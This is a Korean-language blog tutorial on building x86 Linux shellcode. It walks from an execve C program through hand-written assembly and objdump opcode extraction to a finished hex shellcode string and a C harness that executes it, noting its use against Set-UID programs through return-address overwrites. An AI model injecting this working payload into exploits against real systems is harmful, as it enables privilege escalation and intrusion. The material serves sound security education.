본문으로 바로가기

쉘코드 (shellcode) 만들기

category Security/리버싱 2017. 12. 4. 21:44

- 쉘코드 

함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬수 있다. 

이때 프로그램이 Set-UID나 deamon으로 실행되고 있는 경우에 발생한다면 상당히 위험하다. 


임의의 주소에 프로그램이 있으려면 프로그램이 실행되어 있어야 한다. 

그 중 가장 강력한 기능을 가지는 shell을 실행시키는 작은 프로그램들을 일반적으로 쉘코드라고 부른다. 


- 쉘코드 만드는 순서 

(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해

(ㄴ) 함수의 사용법 확인

(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성

(ㄹ) 오브젝트 목적 코드 생성

(ㅁ) 실행 파일 생성

(ㅂ) objdump 프로그램을 이용해 OP Code를 추출

(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성


- 레지스터 용도

EAX 시스템 콜(system call) 함수 번호

EBX 첫번째 함수 인자

ECX 두번째 함수 인자

EDX 세번째 함수 인자


- (ㄴ) 함수의 사용법 확인

execve 로 쉘을 실행시킵니다. 


# man execve

 

 NAME

       execve - execute program


SYNOPSIS

       #include <unistd.h>


       int  execve(const  char  *filename,  char  *const  argv [], char *const envp[]);

 


- (ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성


어셈블리어로 작성하기 전 C언어 확인

# vi myshell.c

 

 #include <stdio.h>


int main()

{

        char *bash[] = {"/bin/sh", 0};

        execve(bash[0], &bash, 0);      

}

 


# gcc -o myshell myshell.c

# ./myshell

> 잘 실행된다. 


# cat /usr/include/asm/unistd.h | more

 

 #ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_


/*

 * This file contains the system call numbers.

 */


#define __NR_exit                 1

#define __NR_fork                 2

#define __NR_read                 3

#define __NR_write                4

#define __NR_open                 5

#define __NR_close                6

#define __NR_waitpid              7

#define __NR_creat                8

#define __NR_link                 9

#define __NR_unlink              10

#define __NR_execve              11

#define __NR_chdir               12

#define __NR_time                13

#define __NR_mknod               14

#define __NR_chmod               15

.......

 

> execve는 기존에 존재하는 것을 사용해야하기 때문에 호출 번호를 확인한다. 


어셈블리언어로 코드 작성

# vi myshell.s

 

 .global _start


_start:


xor %eax, %eax

xor %edx, %edx


push %eax

push $0x68732f2f

push $0x6e69622f

mov %esp, %ebx


push %edx

push %ebx

mov %esp, %ecx


movb $0x0B, %al

int $0x80

 



 

 .global _start


_start:

 

> C 언어에서 main과 같은 부분  형식


 

xor %eax, %eax

xor %edx, %edx

 

> xor은 다르면 1이다.  때문에 같은 값을 xor 한다는 것은 0으로 초기화 하는 과정이다.


 

push %eax

push $0x68732f2f

push $0x6e69622f

mov %esp, %ebx

 

 execve(bash[0], &bash, 0);      


> 젤 먼저 스택에 eax를 넣는다. ( 아까 0으로 초기화 했다. 어셈블리는 NULL까지 표시를 해야한다. )

> $0x68732f2f ( //sh ) 을 넣는다. 

> $0x6e69622f ( /bin ) 을 넣는다. 

> 주소를 ebx에 저장한다. 


[참고] /bin//sh

/bin/sh 는 7 bytes로   4bytes씩 처리하는 어셈블리 언어에 적합하지 않다. 

/bin//sh 는 /bin/sh와 같은 동작을 하고 8bytes 이기 때문에  /bin//sh를 사용한다. 


$0x68732f2f 

//sh =  2f2f7368  스택에는 거꾸로  68732f2f

 057   47    2F    /   

163   115   73    s

150   104   68    h

$0x6e69622f
057   47    2F    /   

156   110   6E    n

151   105   69    i

142   98    62    b


 

push %edx

push %ebx

mov %esp, %ecx

 

 execve(bash[0], &bash, 0);      


> 스택에 edx를 넣는다. ( 처음에 0으로 초기화 했었다. )

> ebx를 넣는다. ( 위에서 ebx는 /bin//sh의 주소를 저장했었다.)

> 주소를 ecx에 저장한다. ( ecx는 /bin//sh의 주소를 저장한다. )



 

movb $0x0B, %al

int $0x80

 

> execve 호출한다.  0x0B (#define __NR_execve              11)  시스템 콜 번호 %al은 확장레지스터 0

> int %0x80  인터럽트를 호출한다. ( 실행 )



(스택 구조)

  

 |         | 낮은 주소

 |         |

 |         |

 |     0xbfff0808 |  <--- SP(0xbfff0810)

 | NULL         |

 | /bin         |  <--- 0xbfff0808

 | //sh         |

 | NULL         |

 | ....         |

 | ....         |

 +-----------------------+ 높은 주소


 -----------------------------------------------

 레지스터 저장값 의미

 -----------------------------------------------

 EAX 0xB 정수11

 EBX 0xbfff0808 &(/bin//sh)

 ECX 0xbfff0810 &(&(/bin//sh))

 EDX 0 NULL

 -----------------------------------------------

 


- (ㄹ) 오브젝트 목적 코드 생성 

# as myshell.s -o myshell.o


- (ㅁ) 실행파일 생성

# ld myshell.o -o myshell

# ./myshell

> 잘 실행된다. 


- (ㅂ) objdump 프로그램을 이용해 OP Code를 추출

# objdump -d ./myshell

 

 ./myshell:     file format elf32-i386


Disassembly of section .text:


08048074 <_start>:

 8048074:       31 c0                   xor    %eax,%eax

 8048076:       31 d2                   xor    %edx,%edx

 8048078:       50                      push   %eax

 8048079:       68 2f 2f 73 68          push   $0x68732f2f

 804807e:       68 2f 62 69 6e          push   $0x6e69622f

 8048083:       89 e3                   mov    %esp,%ebx

 8048085:       52                      push   %edx

 8048086:       53                      push   %ebx

 8048087:       89 e1                   mov    %esp,%ecx

 8048089:       b0 0b                   mov    $0xb,%al

 804808b:       cd 80                   int    $0x80


 


- (ㅅ) 16진수로 문자열을 변경해 쉘코드 생성

31 c0 31 d2 50 68 2f 2f 73 68 68 2f 62 69 6e  89 e3 52 53 89 e1 b0 0b cd 80


char shellcode[] = 

"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


- 쉘코드 실행

# vi myshellcode.c

 

 #include <stdio.h>


char shellcode[] =

"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


int main()

{

(*(void (*)()) shellcode)();

}

 

> 쉘코드를 실행하는 구문이므로 그냥 외우자 

# gcc -o myshellcode myshellcode.c



- 왜 어셈블리어로 쉘코드를 만드는가?

쉘코드는 메모리상에 쉘을 실행하는 프로그램을 올려놓는 것이다. 이러한 방법으로 올려놓은 쉘은 작은 메모리를 가질 수록 유리하다. 

짧으면 짧을 수록 작으면 작을 수록 좋다.

하지만 C언어로 만들게 된다면 쓸모 없는 구문이 굉장히 많이 추가되어 쉘코드가 길어진다.